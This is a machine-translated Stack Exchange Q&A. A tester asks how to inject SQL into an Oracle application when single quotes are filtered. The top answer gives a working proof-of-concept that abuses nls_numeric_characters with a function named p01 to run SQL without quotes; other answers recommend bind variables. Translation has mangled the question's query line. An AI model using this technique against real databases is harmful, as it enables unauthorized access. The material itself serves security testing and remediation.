有没有办法打破字符串并注入SQL,而无需在oracle中使用单引号?


12

我正在测试基于oracle的应用程序,并且发现以下代码:

Query =“从雇员那里选择名称,其中id ='” + PKID +“';;”

即查询字符串包含直接从URL获得的PKID值周围的引号。

显然,这是一个经典的SQL注入等待中……除非应用程序位于CA SiteMinder后面,否则它将阻止任何带有单引号(任何形式)的URL传递给应用程序。

有没有办法打破字符串并注入SQL而无需使用单引号?

编辑:抱歉,我应该更清楚-我知道应该如何编写,但是我需要说服人们这是一个可利用的问题。目前,由于它落后于siteminder,后者阻止了单引号,因此这将是低优先级的解决方案。


1
您是否尝试过使用绑定变量?
JHFB

@JHFB说了什么。绑定变量是标准做法。
Philᵀᴹ

Answers:


9

是的,可以执行SQL注入攻击而无需在参数中提供引号。

做到这一点的方法是利用如何处理数字和/或日期的方法。您可以在会话级别指定日期或数字的格式。通过操纵它,您可以注入任何字符。

在英国和美国,默认情况下,逗号用来表示数字的千位分隔符,小数点用句号表示。您可以通过执行以下操作来更改这些默认值:

alter session set nls_numeric_characters = 'PZ';

这意味着“ P”现在是小数点,“ Z”是千位分隔符。所以:

0P01

是数字0.01。但是,如果创建功能P01,则在进行数字转换之前将拾取对象参考。这使您可以在数据库上执行函数,从而赋予您越来越多的权力,如下所示:

创建一个基本的“通过id获取”功能:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

还要创建一个功能P01,该功能执行了一些不良操作(在这种情况下,只是创建一个表,但是您知道了):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

我们很高兴去:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

在任何地方都没有引号,但是我们仍然设法执行“隐藏”功能P01并创建表t

尽管这在实践中可能很难做到(并且可能需要一些内部知识/帮助),但这确实表明您可以在不带引号的情况下注入SQL。更改nls_date_format可以允许执行类似的操作。

有关数字的原始发现是David Litchfield撰写的,您可以在这里阅读他的论文。您可以在此处找到Tom Kyte关于如何利用日期的讨论。


4

您可能会重载正在使用的数据类型,从而导致该语句失败。然后,可能会执行后续操作。

也许以Unicode字节数组的形式发送它可以解决问题,并使您脱离该语句进入另一条语句。

如果有洞,它将被滥用。用单引号阻止所有字符串不是一个好主意,因为姓氏为“ O'Brian”的人不能成为您的客户(包括其他客户)。


我猜你的意思是“洞”而不是“整个”。
ypercubeᵀᴹ

1

尝试使用绑定变量。您可以将其声明为数字,这样可以防止损坏的SQL注入。

另外:绑定变量还提高了性能和可伸缩性,因为查询计划已编译并存储以供重用。只是其他要添加到您的论点。:)


1
他不是在询问如何防止注射,而是在询问如何滥用注射。
杰夫

1
@jeff OP还出于某些原因要求不使用此类代码。不使用绑定变量会破坏性能,因此这是始终使用它们的一个很好的理由。
Vincent Malgrat

@Vincent Malgrat:“不使用绑定变量会破坏性能”是错误的。确实可以通过使用绑定变量来避免重新编译语句。如果不使用绑定变量,共享池也会被很多类似的语句淹没。但是,如果使用绑定变量而不是文字值,则优化器用于构建计划的信息会更少。在某些情况下,应根据绑定变量的值(或文字值)选择不同的计划。
miracle173

@ miracle173当然会有例外,但不是由OP给出的主键查找,永远不会=)
Vincent Malgrat
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.